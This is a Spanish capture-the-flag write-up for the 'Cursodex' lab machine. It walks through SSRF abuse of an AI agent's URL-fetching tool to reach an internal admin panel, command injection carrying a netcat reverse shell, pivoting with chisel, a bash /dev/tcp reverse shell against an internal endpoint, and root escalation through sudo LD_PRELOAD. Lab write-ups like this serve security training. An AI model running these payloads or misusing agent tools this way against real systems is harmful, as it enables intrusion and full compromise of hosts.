Resolución del CTF Cursodex
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
El escaneo identifica el puerto 80/TCP con Apache 2.4.65 y una redirección HTTP hacia el dominio cursodex.thl.
Enumeración web
Configuramos la resolución local del dominio y accedemos a la aplicación web principal.
echo "192.168.0.100 cursodex.thl" | sudo tee -a /etc/hostsEl sitio expone un agente de IA con capacidad de consulta externa. Durante la enumeración de subdominios identificamos un panel administrativo.
gobuster dns -d cursodex.thl -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txtSe descubre el subdominio admin.cursodex.thl, restringido a acceso local.
echo "192.168.0.100 admin.cursodex.thl" | sudo tee -a /etc/hostsSSRF a través del agente de IA
El agente de IA dispone de la herramienta search_web, que acepta una URL arbitraria. Utilizamos esta funcionalidad para forzar peticiones internas contra el panel administrativo, obteniendo su código HTML y JavaScript.
El análisis del archivo script.js revela que el panel ejecuta comandos del sistema en función de los parámetros GET management_command y command_param. El comando ps_grep concatena directamente el parámetro recibido, introduciendo una inyección de comandos.
Acceso inicial
Abusamos del SSRF para solicitar al agente que visite una URL especialmente construida, inyectando un payload de reverse shell en el parámetro vulnerable.
nc -lvnp 9000http://admin.cursodex.thl/?management_command=ps_grep&command_param=apache%3Bbusybox%20nc%20192.168.0.50%209000%20-e%20bashObtenemos una shell como www-data y procedemos a estabilizarla.
SHELL=/bin/bash script -q /dev/nullEnumeración interna
Desde la shell identificamos servicios escuchando únicamente en localhost.
ss -tulnDestacan los puertos 11434 y 3001. El puerto 3001 corresponde a una aplicación Express expuesta solo internamente.
Pivoting con Chisel
Reenviamos el puerto 3001 a nuestra máquina para interactuar con la aplicación interna.
./chisel server -p 1234 --reverse./chisel client 192.168.0.50:1234 R:3001:127.0.0.1:3001Movimiento lateral
Fuzzeamos el servicio reenviado y localizamos el endpoint /system, accesible vía POST y vulnerable a ejecución remota de comandos.
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://127.0.0.1:3001/FUZZ -X POST -fc 404Confirmamos la ejecución de comandos como el usuario agent.
curl -X POST http://127.0.0.1:3001/system -H "Content-Type: application/json" -d '{"command":"id","args":[]}'Lanzamos una reverse shell y obtenemos acceso interactivo como agent.
curl -X POST http://127.0.0.1:3001/system -H "Content-Type: application/json" -d '{"command":"bash","args":["-c","bash -i >& /dev/tcp/192.168.0.50/9002 0>&1"]}'Escalada de privilegios
En el directorio home de agent encontramos una nota cuyo acróstico revela la contraseña del usuario, permitiendo autenticarnos desde un proceso sin la restricción no_new_privs.
su agentLa enumeración de sudo muestra permiso para ejecutar /bin/date preservando la variable LD_PRELOAD, habilitando una escalada mediante carga de librerías.
sudo -lCompilamos una librería compartida maliciosa que eleva privilegios al cargarse.
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfilesEjecutamos date con sudo cargando la librería y obtenemos una shell como root.
sudo LD_PRELOAD=/tmp/exploit.so /bin/date